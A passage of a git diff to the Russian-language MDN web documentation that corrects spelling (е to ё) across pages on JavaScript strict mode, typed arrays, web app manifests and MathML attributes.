делает это практически невозможным без многочисленных проверок во время исполнения. Функционал, исполняемый языком иногда столь массивен, что выполнение любых дополнительных проверок во время исполнения скрипта приведёт к значительной потере производительности. Однако, некоторые особенности строгого режима, плюс обязательное требование того, чтобы JavaScript, загруженный пользователем, имел строгий режим и вызывался определённым способом, существенно снижают потребность в таких проверках.</p> <p>Во-первых, значение, передаваемое в функцию как <code>this</code>, в строгом режиме не приводится к объекту (не "упаковывается"). В обычной функции <code>this</code> всегда представляет собой объект: либо это непосредственно объект, в случае вызова с <code>this</code>, представляющим объект-значение; либо значение, упакованное в объект, в случае вызова с <code>this</code> типа Boolean, string, или number; либо глобальный объект, если тип <code>this</code> это <code>undefined</code> или <code>null</code>. (Для точного определения конкретного <code>this</code> используйте <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code>, <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, или <code>{{jsxref('Global_Objects/Function/bind', 'bind')}}</code>.) Автоматическая упаковка не только снижает производительность, но и выставляет на показ глобальный объект, что в браузерах является угрозой безопасности, потому что глобальный объект предоставляет доступ к функциональности, которая должна быть ограничена в среде "безопасного" JavaScript. Таким образом, для функции в строгом режиме точно определённый <code>this</code> не упаковывается в объект, а если не определён точно, <code>this</code> является <code>undefined</code>:</p> @@ -304,7 +304,7 @@ function fun(static) { 'use strict'; } // !!! </pre> -<p>Два замечания, специфичных для Mozilla: Первое, если ваш код создан на JavaScript 1.7 или выше (например, chrome code, или тег <code><script type=""></code> заполнен правильно), и применен строгий режим, то <code>let</code> и <code>yield</code> имеют ту же функциональность, которая у них была изначально, когда они только появились. Однако в веб, в строгом коде загруженном через <code><script src=""></code> или <code><script>...</script></code>, нельзя будет использовать <code>let</code>/<code>yield</code> в качестве идентификаторов. Второе, в то время как ES5 зарезервировал слова <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code> и <code>super</code> для любого режима, в Firefox 5 Mozilla они были зарезервированы намного раньше и лишь для строгого режима.</p> +<p>Два замечания, специфичных для Mozilla: Первое, если ваш код создан на JavaScript 1.7 или выше (например, chrome code, или тег <code><script type=""></code> заполнен правильно), и применён строгий режим, то <code>let</code> и <code>yield</code> имеют ту же функциональность, которая у них была изначально, когда они только появились. Однако в веб, в строгом коде загруженном через <code><script src=""></code> или <code><script>...</script></code>, нельзя будет использовать <code>let</code>/<code>yield</code> в качестве идентификаторов. Второе, в то время как ES5 зарезервировал слова <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code> и <code>super</code> для любого режима, в Firefox 5 Mozilla они были зарезервированы намного раньше и лишь для строгого режима.</p> <p>Во-вторых, <a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">в строгом режиме запрещается объявление функций глубже самого верхнего уровня скрипта или функции</a>. В обычном коде в браузерах, объявление функций позволено "везде", <em>что не является частью ES5 (или даже ES3!)</em> Это расширение различных браузеров, не имеющее общего совместимого подхода. Есть надежда, что в последующих редакциях ECMAScript будет определена новая семантика для объявления функций вне верхнего уровня скрипта или функции. <a class="external" href="http://wiki.ecmascript.org/doku.php?id=conventions:no_non_standard_strict_decls">Запрет на объявление таких функций в строгом режиме</a> производит "зачистку" для спецификации в будущем релизе ECMAScript:</p> @@ -326,7 +326,7 @@ function baz() { // верно <h2 id="Строгий_режим_в_браузерах">Строгий режим в браузерах</h2> -<p>В большинстве браузеров в настоящее время строгий режим реализован. Однако не стоит впадать в слепую зависимость от него, потому что существует множество <a class="external external-icon" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">Версий браузеров, поддерживающих строгий режим лишь частично</a> или вовсе не поддерживающих оный (например, Internet Explorer ниже версии 10!). <em>Строгий режим изменяет семантику.</em> Надежда на эти изменения приведет к ошибкам и погрешностям в браузерах, в которых строгий режим не реализован. Проявляйте осторожность при использовании строгого режима, и подкрепляйте надежность строгого режима тестами особенностей, которые проверяют, насколько верно реализованы его фрагменты. Наконец, старайтесь <em>тестировать свой код в браузерах, как поддерживающих, так и не поддерживающих строгий режим</em>. Если вы проводите тестирование только в тех браузерах, которые не поддерживают строгий режим, то вполне вероятно у вас появятся проблемы в браузерах, его поддерживающих, и наоборот.</p> +<p>В большинстве браузеров в настоящее время строгий режим реализован. Однако не стоит впадать в слепую зависимость от него, потому что существует множество <a class="external external-icon" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">Версий браузеров, поддерживающих строгий режим лишь частично</a> или вовсе не поддерживающих оный (например, Internet Explorer ниже версии 10!). <em>Строгий режим изменяет семантику.</em> Надежда на эти изменения приведёт к ошибкам и погрешностям в браузерах, в которых строгий режим не реализован. Проявляйте осторожность при использовании строгого режима, и подкрепляйте надёжность строгого режима тестами особенностей, которые проверяют, насколько верно реализованы его фрагменты. Наконец, старайтесь <em>тестировать свой код в браузерах, как поддерживающих, так и не поддерживающих строгий режим</em>. Если вы проводите тестирование только в тех браузерах, которые не поддерживают строгий режим, то вполне вероятно у вас появятся проблемы в браузерах, его поддерживающих, и наоборот.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html index 5447834c4b..4c4b882462 100644 --- a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html +++ b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mod --- <div>{{jsSidebar("More")}}</div> -<p>В ECMAScript 5 введен {{jsxref('Strict_mode', 'строгий режим')}}, который реализован во всех основных браузерах (включая IE10). В то время как включение интерпретации браузерами кода в строгом режиме делается очень просто (достаточно добавить <code>"use strict";</code> в верхней части вашего исходного кода), для адаптации уже существующего кода к строгому режиму потребуется немного больше работы.</p> +<p>В ECMAScript 5 введён {{jsxref('Strict_mode', 'строгий режим')}}, который реализован во всех основных браузерах (включая IE10). В то время как включение интерпретации браузерами кода в строгом режиме делается очень просто (достаточно добавить <code>"use strict";</code> в верхней части вашего исходного кода), для адаптации уже существующего кода к строгому режиму потребуется немного больше работы.</p> <p>Цель этой статьи: предоставить для разработчиков руководство по переходу к строгому режиму.</p> @@ -105,15 +105,15 @@ s.opacity = 1; <h4 id="this_в_вызовах_функции"><code>this</code> в вызовах функции</h4> -<p>В функциях как <code>f()</code>, значением <code>this</code> является глобальный объект. В строгом режиме он теперь равен <code>undefined</code>. Когда функция вызывалась с помощью <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code> или <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, если значением был примитив, он упаковывался в соответствующий объект (или в глобальный объект для <code>undefined</code> и <code>null</code>). В строгом режиме значение передается без каких-либо преобразований и замен.</p> +<p>В функциях как <code>f()</code>, значением <code>this</code> является глобальный объект. В строгом режиме он теперь равен <code>undefined</code>. Когда функция вызывалась с помощью <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code> или <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, если значением был примитив, он упаковывался в соответствующий объект (или в глобальный объект для <code>undefined</code> и <code>null</code>). В строгом режиме значение передаётся без каких-либо преобразований и замен.</p> <h4 id="arguments_не_является_псевдонимом_именованных_аргументов_функции"><code>arguments</code> не является псевдонимом именованных аргументов функции</h4> -<p>В нестрогом режиме изменение значения в объекте <code>arguments</code> изменяло соответствующий именованный аргумент функции. Это усложняло оптимизацию кода для движков JavaScript и сам код становился менее читабельным и понятным. В строгом режиме объект <code>arguments</code> создается и инициализируется с теми же значениями, что и именованные аргументы, но изменения объекта arguments или именованных аргументов теперь никак не влияют друг на друга.</p> +<p>В нестрогом режиме изменение значения в объекте <code>arguments</code> изменяло соответствующий именованный аргумент функции. Это усложняло оптимизацию кода для движков JavaScript и сам код становился менее читабельным и понятным. В строгом режиме объект <code>arguments</code> создаётся и инициализируется с теми же значениями, что и именованные аргументы, но изменения объекта arguments или именованных аргументов теперь никак не влияют друг на друга.</p> <h4 id="Изменения_в_eval">Изменения в <code>eval</code></h4> -<p>В строгом режиме eval не создает новой переменной в той области видимости, где был вызван. Также, конечно, в строгом режиме, строка выполняется с правилами строгого режима. Потребуется провести тщательное тестирование, чтобы убедиться, что ничего не сломалось. Не использовать eval, если он вам действительно не нужен, может быть другим прагматичным решением.</p> +<p>В строгом режиме eval не создаёт новой переменной в той области видимости, где был вызван. Также, конечно, в строгом режиме, строка выполняется с правилами строгого режима. Потребуется провести тщательное тестирование, чтобы убедиться, что ничего не сломалось. Не использовать eval, если он вам действительно не нужен, может быть другим прагматичным решением.</p> <h2 id="Строго-нейтральный_код">Строго-нейтральный код</h2> diff --git a/files/ru/web/javascript/typed_arrays/index.html b/files/ru/web/javascript/typed_arrays/index.html index d55e398573..82b7830b90 100644 --- a/files/ru/web/javascript/typed_arrays/index.html +++ b/files/ru/web/javascript/typed_arrays/index.html @@ -5,23 +5,23 @@ translation_of: Web/JavaScript/Typed_arrays --- <div>{{JsSidebar("Advanced")}}</div> -<p>Типизированные массивы в JavaScript являются массива-подобными объектами, предоставляющими механизм доступа к сырым двоичным данным. Как вы уже можете знать, массив {{jsxref("Array")}} растет и обрезается динамически, и может содержать элементы любого типа JavaScript. Благодаря оптимизациям JavaScript движков, массивы остаются быстрыми. Однако, со временем, веб-приложения становятся все более и более мощными, появляется необходимость работы с аудио- и видео-данными, требуется доступ к сырым данным WebSocket, и так далее. Становится очевидным, что возможность быстрой и эффективной работы с двоичными данными в JavaScript будет очень полезной, для чего типизированные массивы и предназначены.</p> +<p>Типизированные массивы в JavaScript являются массива-подобными объектами, предоставляющими механизм доступа к сырым двоичным данным. Как вы уже можете знать, массив {{jsxref("Array")}} растёт и обрезается динамически, и может содержать элементы любого типа JavaScript. Благодаря оптимизациям JavaScript движков, массивы остаются быстрыми. Однако, со временем, веб-приложения становятся все более и более мощными, появляется необходимость работы с аудио- и видео-данными, требуется доступ к сырым данным WebSocket, и так далее. Становится очевидным, что возможность быстрой и эффективной работы с двоичными данными в JavaScript будет очень полезной, для чего типизированные массивы и предназначены.</p> -<p>Не следует путать типизированные массивы с обычными массивами: так, например, вызов {{jsxref("Array.isArray()")}} для типизированного массива вернет <code>false</code>. Более того, не все методы, доступные для обычных массивов поддерживаются типизированными массивами (например, push и pop).</p> +<p>Не следует путать типизированные массивы с обычными массивами: так, например, вызов {{jsxref("Array.isArray()")}} для типизированного массива вернёт <code>false</code>. Более того, не все методы, доступные для обычных массивов поддерживаются типизированными массивами (например, push и pop).</p> <h2 id="Буферы_и_представления_архитектура_типизированных_массивов">Буферы и представления: архитектура типизированных массивов</h2> -<p>Для достижения максимальной гибкости и производительности, реализация типизированных массивов в JavaScript разделена на <strong>буферы</strong> и <strong>представления</strong>. Буфер (<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать типизированный массив или объект DataView, который можно использовать для чтения и записи данных в ArrayBuffer.'><code>ArrayBuffer</code></a>) –– это объект, представляющий из себя набор данных. Он не имеет формата и не предоставляет возможности доступа к своему содержимому. Для доступа к памяти буфера вам нужно использовать представление. Представление предоставляет контекст: тип данных, начальную позицию в буфере и количество элементов. Это позволяет представить данные в виде типизированного массива.</p> +<p>Для достижения максимальной гибкости и производительности, реализация типизированных массивов в JavaScript разделена на <strong>буферы</strong> и <strong>представления</strong>. Буфер (<a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не даёт. Вместо этого, вы можете создать типизированный массив или объект DataView, который можно использовать для чтения и записи данных в ArrayBuffer.'><code>ArrayBuffer</code></a>) –– это объект, представляющий из себя набор данных. Он не имеет формата и не предоставляет возможности доступа к своему содержимому. Для доступа к памяти буфера вам нужно использовать представление. Представление предоставляет контекст: тип данных, начальную позицию в буфере и количество элементов. Это позволяет представить данные в виде типизированного массива.</p> <p><img alt="Typed arrays in an ArrayBuffer" src="https://mdn.mozillademos.org/files/8629/typed_arrays.png" style="height: 278px; width: 666px;"></p> <h3 id="ArrayBuffer">ArrayBuffer</h3> -<p>Объект <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не дает. Вместо этого, вы можете создать типизированный массив или объект DataView, который можно использовать для чтения и записи данных в ArrayBuffer.'><code>ArrayBuffer</code></a> –– это набор бинарных данных с фиксированной длинной. Вы не можете манипулировать содержимым <code>ArrayBuffer</code> напрямую. Вместо этого, необходимо создать типизированное представление <a href="/ru/docs/Web/JavaScript/Reference/DataView" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>DataView</code></a>, которое будет отображать буфер в определенном формате, и даст доступ на запись и чтение его содержимого.</p> +<p>Объект <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title='Объект ArrayBuffer используется для работы с бинарными данными. Он представляет собой ссылку на поток "сырых" двоичных данных, однако работать с ними напрямую возможности не даёт. Вместо этого, вы можете создать типизированный массив или объект DataView, который можно использовать для чтения и записи данных в ArrayBuffer.'><code>ArrayBuffer</code></a> –– это набор бинарных данных с фиксированной длинной. Вы не можете манипулировать содержимым <code>ArrayBuffer</code> напрямую. Вместо этого, необходимо создать типизированное представление <a href="/ru/docs/Web/JavaScript/Reference/DataView" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>DataView</code></a>, которое будет отображать буфер в определённом формате, и даст доступ на запись и чтение его содержимого.</p> <h3 id="Типизированные_представления">Типизированные представления</h3> -<p>Название типизированного представления массива говорит само за себя. Оно представляет массив в распространенных числовых форматах, таких как <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> и так далее. Среди прочих, существует специальное представление <code>Uint8ClampedArray</code>. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при <a href="/ru/docs/Web/API/ImageData">Обработке данных изображения в Canvas</a>.</p> +<p>Название типизированного представления массива говорит само за себя. Оно представляет массив в распространённых числовых форматах, таких как <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> и так далее. Среди прочих, существует специальное представление <code>Uint8ClampedArray</code>. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при <a href="/ru/docs/Web/API/ImageData">Обработке данных изображения в Canvas</a>.</p> <p>{{page("/ru/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "Объект TypedArray")}}</p> @@ -74,7 +74,7 @@ translation_of: Web/JavaScript/Typed_arrays <h3 id="Множество_представлений_для_одних_и_тех_же_данных">Множество представлений для одних и тех же данных</h3> -<p>Всё становится намного интереснее, если создать несколько разных представлений для одного и того же буфера. Например, приведенный выше код можно дополнить следующим образом:</p> +<p>Всё становится намного интереснее, если создать несколько разных представлений для одного и того же буфера. Например, приведённый выше код можно дополнить следующим образом:</p> <pre class="brush:js">var int16View = new Int16Array(buffer); @@ -83,7 +83,7 @@ for (var i = 0; i < int16View.length; i++) { } </pre> -<p>Здесь мы создаем 16-битное целочисленное представление, которое ссылается на тот же самый буфер, что и 32-битное представление, и затем выводим все 16-битные элементы этого представления. Мы получим следующий вывод: 0, 0, 2, 0, 4, 0, 6, 0.</p> +<p>Здесь мы создаём 16-битное целочисленное представление, которое ссылается на тот же самый буфер, что и 32-битное представление, и затем выводим все 16-битные элементы этого представления. Мы получим следующий вывод: 0, 0, 2, 0, 4, 0, 6, 0.</p> <p>Можно пойти дальше. Оцените этот код:</p> @@ -115,9 +115,9 @@ var idView = new Uint32Array(buffer, 0, 1); var usernameView = new Uint8Array(buffer, 4, 16); var amountDueView = new Float32Array(buffer, 20, 1);</pre> -<p>Теперь получить или изменить значение поля <code>amountDue</code>, к примеру, можно путем обращения к <code>amountDueView[0]</code>.</p> +<p>Теперь получить или изменить значение поля <code>amountDue</code>, к примеру, можно путём обращения к <code>amountDueView[0]</code>.</p> -<div class="note"><strong>Примечание:</strong> <a href="https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D1%80%D0%B0%D0%B2%D0%BD%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85" title="http://en.wikipedia.org/wiki/Data_structure_alignment">Выравнивание данных</a> в языке C является платформозависимым. Принимайте меры по вычислению правильных отступов в данных с учетом выравнивания.</div> +<div class="note"><strong>Примечание:</strong> <a href="https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D1%80%D0%B0%D0%B2%D0%BD%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85" title="http://en.wikipedia.org/wiki/Data_structure_alignment">Выравнивание данных</a> в языке C является платформозависимым. Принимайте меры по вычислению правильных отступов в данных с учётом выравнивания.</div> <h3 id="Преобразование_в_обычные_массивы">Преобразование в обычные массивы</h3> diff --git a/files/ru/web/manifest/background_color/index.html b/files/ru/web/manifest/background_color/index.html index 98b745c6a3..5fa076ac51 100644 --- a/files/ru/web/manifest/background_color/index.html +++ b/files/ru/web/manifest/background_color/index.html @@ -29,7 +29,7 @@ translation_of: Web/Manifest/background_color </tbody> </table> -<p><code>background_color</code> определяет ожидаемый цвет фона для веб-приложения. Это значение повторяет то, что уже доступно в стилях приложения, но может быть использовано браузерами для отрисовки цвета фона приложения после того, как манифест станет доступен, но до того, как стили загрузятся. Это создает плавный переход между запуском приложения и загрузкой содержимого приложения.</p> +<p><code>background_color</code> определяет ожидаемый цвет фона для веб-приложения. Это значение повторяет то, что уже доступно в стилях приложения, но может быть использовано браузерами для отрисовки цвета фона приложения после того, как манифест станет доступен, но до того, как стили загрузятся. Это создаёт плавный переход между запуском приложения и загрузкой содержимого приложения.</p> <p>Therefore <code>background_color</code> should match the {{cssxref("background-color")}} CSS property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.</p> diff --git a/files/ru/web/manifest/icons/index.html b/files/ru/web/manifest/icons/index.html index e9ba3bfe32..c7d608df08 100644 --- a/files/ru/web/manifest/icons/index.html +++ b/files/ru/web/manifest/icons/index.html @@ -73,7 +73,7 @@ translation_of: Web/Manifest/icons <tbody> <tr> <td><code>sizes</code></td> - <td>Строка, содержащая разделенные пробелами размеры изображения.</td> + <td>Строка, содержащая разделённые пробелами размеры изображения.</td> </tr> <tr> <td><code>src</code></td> @@ -94,7 +94,7 @@ translation_of: Web/Manifest/icons <ul> <li><code>badge</code>: Пользовательский агент может представить этот значок там, где ограничения пространства и/или требования к цвету отличаются от таковых для значка приложения.</li> - <li><code>maskable</code>: Изображение разработано с учетом <a href="https://w3c.github.io/manifest/#icon-masks">масок значков и безопасной зоны</a>, так что пользовательский агент может безопасно игнорировать и маскировать любую часть изображения за пределами безопасной зоны.</li> + <li><code>maskable</code>: Изображение разработано с учётом <a href="https://w3c.github.io/manifest/#icon-masks">масок значков и безопасной зоны</a>, так что пользовательский агент может безопасно игнорировать и маскировать любую часть изображения за пределами безопасной зоны.</li> <li><code>any</code>: Пользовательский агент может отображать значок в любом контексте (это значение по умолчанию).</li> </ul> </td> diff --git a/files/ru/web/manifest/index.html b/files/ru/web/manifest/index.html index 1a7eb8beb4..a6dd7f70fb 100644 --- a/files/ru/web/manifest/index.html +++ b/files/ru/web/manifest/index.html @@ -82,7 +82,7 @@ translation_of: Web/Manifest </div> <div class="note"> -<p><strong>Note</strong>: Если для получения манифеста требуются учетные данные - атрибут <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code> должен иметь значение <code>"use-credentials"</code>, даже если файл манифеста находится в том же источнике, что и текущая страница.</p> +<p><strong>Note</strong>: Если для получения манифеста требуются учётные данные - атрибут <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code> должен иметь значение <code>"use-credentials"</code>, даже если файл манифеста находится в том же источнике, что и текущая страница.</p> </div> <h2 id="Заставки">Заставки</h2> diff --git a/files/ru/web/manifest/related_applications/index.html b/files/ru/web/manifest/related_applications/index.html index d2a9675c31..2eab4c4181 100644 --- a/files/ru/web/manifest/related_applications/index.html +++ b/files/ru/web/manifest/related_applications/index.html @@ -76,7 +76,7 @@ translation_of: Web/Manifest/related_applications </tr> <tr> <td><code>id</code></td> - <td>ID, используемое для представления приложения на определенной платформе.</td> + <td>ID, используемое для представления приложения на определённой платформе.</td> </tr> </tbody> </table> diff --git a/files/ru/web/mathml/attribute/index.html b/files/ru/web/mathml/attribute/index.html index e14849d222..4cb0ccfcc9 100644 --- a/files/ru/web/mathml/attribute/index.html +++ b/files/ru/web/mathml/attribute/index.html @@ -135,7 +135,7 @@ original_slug: Web/MathML/Атрибут <tr id="display"> <td><code>display</code></td> <td>{{ MathMLElement("math") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает режим визуализации.</span></span></span> Допускаются значения <code>block</code> и <code>inline</code>.</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт режим визуализации.</span></span></span> Допускаются значения <code>block</code> и <code>inline</code>.</td> </tr> <tr id="displaystyle"> <td><code>displaystyle</code></td> @@ -169,7 +169,7 @@ original_slug: Web/MathML/Атрибут <tr id="form"> <td>{{ unimplemented_inline() }} <code>form</code></td> <td>{{ MathMLElement("mo") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает роль оператора во вложенном выражении.</span></span></span></td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт роль оператора во вложенном выражении.</span></span></span></td> </tr> <tr id="frame"> <td><code>frame</code></td> @@ -179,7 +179,7 @@ original_slug: Web/MathML/Атрибут <tr id="framespacing"> <td><code>framespacing</code></td> <td>{{ MathMLElement("mtable") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает дополнительное пространство, добавленное между таблицей и</span></span></span> <code>frame</code>.</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт дополнительное пространство, добавленное между таблицей и</span></span></span> <code>frame</code>.</td> </tr> <tr id="groupalign"> <td>{{ unimplemented_inline() }} <code>groupalign</code></td> @@ -189,7 +189,7 @@ original_slug: Web/MathML/Атрибут <tr id="height"> <td><code>height</code></td> <td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает желаемую высоту.</span></span></span> Для возможных значений смотри <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">длины</a>.</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт желаемую высоту.</span></span></span> Для возможных значений смотри <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">длины</a>.</td> </tr> <tr id="href"> <td><code>href</code></td> @@ -239,7 +239,7 @@ original_slug: Web/MathML/Атрибут <tr id="infixlinebreakstyle"> <td>{{ unimplemented_inline() }} <code>infixlinebreakstyle</code></td> <td>{{ MathMLElement("mstyle") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает стиль</span></span></span> по умолчанию для <code>linebreakstyle</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>для использования в инфиксных операторах.</span></span></span></td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт стиль</span></span></span> по умолчанию для <code>linebreakstyle</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>для использования в инфиксных операторах.</span></span></span></td> </tr> <tr id="largeop"> <td><code>largeop</code></td> @@ -334,7 +334,7 @@ original_slug: Web/MathML/Атрибут <tr id="movablelimits"> <td><code>movablelimits</code></td> <td>{{ MathMLElement("mo") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Определяет, перемещаются ли присоединенные нижние и верхние индексы на позиции нижних и верхних индексов.</span></span></span></td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Определяет, перемещаются ли присоединённые нижние и верхние индексы на позиции нижних и верхних индексов.</span></span></span></td> </tr> <tr id="notation"> <td><code>notation</code></td> @@ -399,7 +399,7 @@ original_slug: Web/MathML/Атрибут <tr id="scriptminsize"> <td><code>scriptminsize</code></td> <td>{{ MathMLElement("mstyle") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает минимальный размер шрифта, разрешённый из-за изменений в</span></span></span> <code>scriptlevel</code>.</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт минимальный размер шрифта, разрешённый из-за изменений в</span></span></span> <code>scriptlevel</code>.</td> </tr> <tr id="scriptsizemultiplier"> <td><code>scriptsizemultiplier</code></td> @@ -429,7 +429,7 @@ original_slug: Web/MathML/Атрибут <tr id="side"> <td>{{ unimplemented_inline() }} <code>side</code></td> <td>{{ MathMLElement("mtable") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает позицию, в которой</span></span></span> {{ MathMLElement("mlabeledtr") }} <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>должны быть размещены элементы метки.</span></span></span></td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт позицию, в которой</span></span></span> {{ MathMLElement("mlabeledtr") }} <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>должны быть размещены элементы метки.</span></span></span></td> </tr> <tr id="src"> <td>{{ unimplemented_inline() }} <code>src</code></td> @@ -469,7 +469,7 @@ original_slug: Web/MathML/Атрибут <tr id="width"> <td><code>width</code></td> <td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}, {{ MathMLElement("mtable") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает желаемую ширину.</span></span></span> Смотри <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">длины</a> для возможных значений.</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт желаемую ширину.</span></span></span> Смотри <a href="/en-US/docs/MathML/Attributes/Values#Lengths" title="/en-US/docs/MathML/Attributes/Values#Lengths">длины</a> для возможных значений.</td> </tr> <tr id="xlink-href"> <td><code>xlink:href</code> {{deprecated_inline}}</td> @@ -479,7 +479,7 @@ original_slug: Web/MathML/Атрибут <tr id="xmlns"> <td><code>xmlns</code></td> <td>{{ MathMLElement("math") }}</td> - <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задает URI для пространства имен MathML</span></span></span> (<code><a class="external" href="http://www.w3.org/1998/Math/MathML" rel="freelink">http://www.w3.org/1998/Math/MathML</a></code>)</td> + <td><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Задаёт URI для пространства имён MathML</span></span></span> (<code><a class="external" href="http://www.w3.org/1998/Math/MathML" rel="freelink">http://www.w3.org/1998/Math/MathML</a></code>)</td> </tr> </tbody> </table> diff --git a/files/ru/web/mathml/authoring/index.html b/files/ru/web/mathml/authoring/index.html index 765b420c47..f330d22d50 100644 --- a/files/ru/web/mathml/authoring/index.html +++ b/files/ru/web/mathml/authoring/index.html @@ -10,7 +10,7 @@ translation_of: Web/MathML/Authoring --- <p>Эта страница объясняет, как записать математические выражения при помощи языка MathML. Подобно HTML, основными элементами языка MathML являются теги и атрибуты. Документ HTML становится сложным, когда он содержит структуры, подобные спискам или таблицам, но, к счастью, существует много генераторов на основе простых систем обозначений, WYSIWYG редакторы и другие системы управления контентом, помогающие создавать Web страницы.</p> -<p>Математические обозначения еще более сложны со структурами такими, как дроби, квадратные корни или матрицы, которые, вероятно, потребуют собственных тегов. Поэтому инструменты разработки, связанные с MathML, очень важны. Некоторые из этих инструментов мы описываем ниже. В частности, команда Mozilla MathML разрабатывала <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a> (Javascript Unicode LaTeX-to-MathML конвертер), который предназначен для использования во многих сценариях, описанных здесь. Конечно, этот список ни в коем случае не является исчерпывающим и вам предлагается проверить <a class="external" href="http://www.w3.org/Math/Software/">W3C MathML software list</a>, где вы можете найти некоторые другие инструменты.</p> +<p>Математические обозначения ещё более сложны со структурами такими, как дроби, квадратные корни или матрицы, которые, вероятно, потребуют собственных тегов. Поэтому инструменты разработки, связанные с MathML, очень важны. Некоторые из этих инструментов мы описываем ниже. В частности, команда Mozilla MathML разрабатывала <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a> (Javascript Unicode LaTeX-to-MathML конвертер), который предназначен для использования во многих сценариях, описанных здесь. Конечно, этот список ни в коем случае не является исчерпывающим и вам предлагается проверить <a class="external" href="http://www.w3.org/Math/Software/">W3C MathML software list</a>, где вы можете найти некоторые другие инструменты.</p> <p>Заметим, что MathML хорошо интегрирован в HTML5. В частности, вы можете использовать обычные Web-инструменты, такие как CSS, DOM, Javascript или SVG. Данная тема выходит за рамки этого документа, но любой, у кого есть базовые знания 